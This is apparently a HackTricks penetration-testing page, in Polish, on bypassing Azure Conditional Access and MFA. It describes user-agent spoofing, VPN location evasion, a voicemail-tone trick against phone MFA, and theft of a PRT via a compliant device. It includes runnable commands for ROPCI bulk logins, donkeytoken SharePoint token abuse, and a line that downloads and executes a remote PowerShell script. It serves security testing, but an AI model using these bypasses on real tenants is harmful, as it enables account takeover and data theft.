Az - Conditional Access Policies & MFA Bypass

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Podstawowe informacje

Azure Conditional Access policies to reguły skonfigurowane w Microsoft Azure, które wymuszają kontrolę dostępu do usług i aplikacji Azure na podstawie określonych warunków. Te polityki pomagają organizacjom zabezpieczyć zasoby, stosując odpowiednie mechanizmy kontroli dostępu w odpowiednich okolicznościach.
Conditional Access policies w zasadzie określają, Kto może uzyskać dostęp do Czego z Gdzie i Jak.

Oto kilka przykładów:

  1. Sign-In Risk Policy: Ta polityka może wymagać multi-factor authentication (MFA), gdy wykryte zostanie ryzyko logowania. Na przykład, jeśli zachowanie logowania użytkownika jest nietypowe w porównaniu z jego zwykłym wzorcem, np. logowanie z innego kraju, system może zażądać dodatkowego uwierzytelnienia.
  2. Device Compliance Policy: Ta polityka może ograniczyć dostęp do usług Azure tylko do urządzeń zgodnych ze standardami bezpieczeństwa organizacji. Na przykład dostęp może być dozwolony tylko z urządzeń, które mają aktualne oprogramowanie antywirusowe lub działają na określonej wersji systemu operacyjnego.

Enumeracja

# Get all the policies from Azure without needing any special permission with (idea from https://github.com/LuemmelSec/APEX/blob/main/APEX.ps1)
az rest --method GET --uri 'https://graph.windows.net/<tenant-id>/policies?api-version=1.61-internal' | jq '.value[] | select(.policyType == 18) | {displayName, policyDetail: (.policyDetail[] | fromjson)}'

# You need Policy.Read.ConditionalAccess or Policy.Read.All permission in Entra ID
az rest --method get --uri "https://graph.microsoft.com/beta/identity/conditionalAccess/policies"

Omijanie Conditional Access Policies

Możliwe, że conditional access policy sprawdza informacje, które można łatwo sfałszować, pozwalając na obejście polityki. Jeśli na przykład polityka wymuszała MFA, atakujący będzie mógł ją ominąć.

Przy konfigurowaniu conditional access policy trzeba określić użytkowników objętych oraz docelowe zasoby (np. all cloud apps).

Trzeba też skonfigurować warunki, które wywołają politykę:

  • Network: Ip, IP ranges and geographical locations
  • Można to obejść używając VPN lub Proxy, aby połączyć się z dozwolonym krajem albo logując się z dozwolonego adresu IP
  • Microsoft risks: User risk, Sign-in risk, Insider risk
  • Device platforms: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
  • Jeśli „Any device” nie jest zaznaczone, ale wszystkie pozostałe opcje są wybrane, można to obejść używając losowego user-agent niepowiązanego z tymi platformami
  • Client apps: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
  • Aby obejść — zaloguj się używając opcji, która nie jest wybrana
  • Filter for devices: Możliwe jest wygenerowanie reguły związaną z używanym urządzeniem
  • Authentication flows: Options are “Device code flow” and “Authentication transfer”
  • To nie wpłynie na atakującego, chyba że będzie próbował nadużyć któregoś z tych protokołów w ataku phishingowym, aby uzyskać dostęp do konta ofiary

Możliwe wyniki to: Block lub Grant access z dodatkowymi warunkami jak require MFA, urządzenie musi być compliant…

Platformy urządzeń - warunek urządzenia

Można ustawić warunek oparty na platformie urządzenia (Android, iOS, Windows, macOS…), jednak opiera się to na user-agent, więc łatwo to obejść. Nawet jeśli wszystkie opcje będą wymuszać MFA, jeśli użyjesz user-agent, który nie jest rozpoznawany, będziesz w stanie obejść MFA lub block:

Wystarczy, że przeglądarka wyśle nieznany user-agent (np. Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile), aby ten warunek nie został wyzwolony.
Możesz zmienić user agent ręcznie w narzędziach deweloperskich:

Albo użyć rozszerzenia przeglądarki takiego jak to.

Locations: Countries, IP ranges - Device Condition

Jeśli to jest ustawione w conditional policy, atakujący może po prostu użyć VPN w dozwolonym kraju albo znaleźć sposób, by uzyskać dostęp z dozwolonego adresu IP, aby obejść te warunki.

Cloud Apps

Można skonfigurować conditional access policies, aby blokować lub wymuszać np. MFA, gdy użytkownik próbuje uzyskać dostęp do konkretnej aplikacji:

Aby spróbować obejść tę ochronę, powinieneś sprawdzić, czy możesz zalogować się do dowolnej aplikacji.
Narzędzie AzureAppsSweep ma dziesiątki hardcoded application IDs i będzie próbować logować się do nich, informując Cię i nawet zwracając token, jeśli się powiedzie.

Aby przetestować konkretne application IDs w konkretnych zasobach, możesz też użyć narzędzia takiego jak:

roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout

<token>

Co więcej, możliwe jest także zabezpieczenie metody logowania (np. gdy próbujesz logować się z przeglądarki lub z aplikacji desktopowej). Narzędzie Invoke-MFASweep wykonuje kilka kontroli, aby spróbować obejść także te zabezpieczenia.

Narzędzie donkeytoken może być również użyte do podobnych celów, choć wygląda na nieutrzymywane.

Narzędzie ROPCI może być także użyte do testowania tych zabezpieczeń i sprawdzenia, czy da się obejść MFA lub blokady, jednak narzędzie to działa z perspektywy whitebox. Najpierw musisz pobrać listę Apps dozwolonych w tenantcie, a następnie spróbuje się do nich zalogować.

Inne obejścia MFA w Az

Ring tone

One Azure MFA option is to receive a call in the configured phone number where it will be asked the user to send the char #.

Caution

As chars are just tones, an attacker could compromise the voicemail message of the phone number, configure as the message the tone of # and then, when requesting the MFA make sure that the victims phone is busy (calling it) so the Azure call gets redirected to the voice mail.

Compliant Devices

Polityki często wymagają compliant device lub MFA, więc atakujący mógłby zarejestrować compliant device, zdobyć PRT i w ten sposób obejść MFA.

Zacznij od zarejestrowania compliant device w Intune, a następnie zdobądź PRT za pomocą:

$prtKeys = Get-AADIntuneUserPRTKeys - PfxFileName .\<uuid>.pfx -Credentials $credentials

$prtToken = New-AADIntUserPRTToken -Settings $prtKeys -GertNonce

Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

<token returned>

Znajdź więcej informacji na temat tego rodzaju ataku na następującej stronie:

Az - Primary Refresh Token (PRT)

Narzędzia

AzureAppsSweep

Ten skrypt pobiera dane uwierzytelniające użytkownika i sprawdza, czy można zalogować się do niektórych aplikacji.

To przydatne do sprawdzenia, czy aren’t required MFA to login in some applications, które możesz później wykorzystać do escalate pvivileges.

roadrecon

Pobiera wszystkie polityki

roadrecon plugin policies

Invoke-MFASweep

MFASweep to skrypt PowerShell, który próbuje zalogować się do różnych usług Microsoft przy użyciu podanego zestawu poświadczeń i zidentyfikować, czy MFA jest włączone. W zależności od tego, jak skonfigurowane są conditional access policies i inne ustawienia multi-factor authentication, niektóre protokoły mogą pozostać jednoczynnikowe. Zawiera także dodatkowe sprawdzenie konfiguracji ADFS i może spróbować zalogować się do on-prem ADFS server, jeśli zostanie wykryty.

Invoke-Expression (Invoke-WebRequest -Uri "https://raw.githubusercontent.com/dafthack/MFASweep/master/MFASweep.ps1").Content
Invoke-MFASweep -Username <username> -Password <pass>

ROPCI

To narzędzie pomogło zidentyfikować obejścia MFA i następnie nadużyć API w wielu produkcyjnych tenantach AAD, gdzie klienci AAD sądzili, że mają wymuszone MFA, ale uwierzytelnianie oparte na ROPC powiodło się.

Tip

Musisz mieć uprawnienia do wylistowania wszystkich aplikacji, aby móc wygenerować listę aplikacji do brute-force.

./ropci configure
./ropci apps list --all --format json -o apps.json
./ropci apps list --all --format json | jq -r '.value[] | [.displayName,.appId] | @csv' > apps.csv
./ropci auth bulk -i apps.csv -o results.json

donkeytoken

Donkey token to zestaw funkcji mających na celu pomoc konsultantom ds. bezpieczeństwa, którzy muszą weryfikować Conditional Access Policies, testować portale Microsoft z włączonym 2FA itp..

git clone https://github.com/silverhack/donkeytoken.git
Import-Module '.\donkeytoken' -Force

Przetestuj każdy portal, czy możliwe jest zalogowanie się bez MFA:

$username = "conditional-access-app-user@azure.hacktricks-training.com"
$password = ConvertTo-SecureString "Poehurgi78633" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
Invoke-MFATest -credential $cred -Verbose -Debug -InformationAction Continue

Ponieważ Azure portal jest nieograniczony, możliwe jest pozyskanie tokenu z endpointu portalu, aby uzyskać dostęp do dowolnej usługi wykrytej podczas poprzedniego wykonania. W tym przypadku wykryto Sharepoint i żądany jest token umożliwiający dostęp do niego:

$token = Get-DelegationTokenFromAzurePortal -credential $cred -token_type microsoft.graph -extension_type Microsoft_Intune
Read-JWTtoken -token $token.access_token

Zakładając, że token ma uprawnienie Sites.Read.All (z Sharepoint), nawet jeśli nie możesz uzyskać dostępu do Sharepoint z poziomu przeglądarki z powodu MFA, możliwe jest użycie tokena do uzyskania dostępu do plików za pomocą wygenerowanego tokena:

$data = Get-SharePointFilesFromGraph -authentication $token $data[0].downloadUrl

Źródła

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks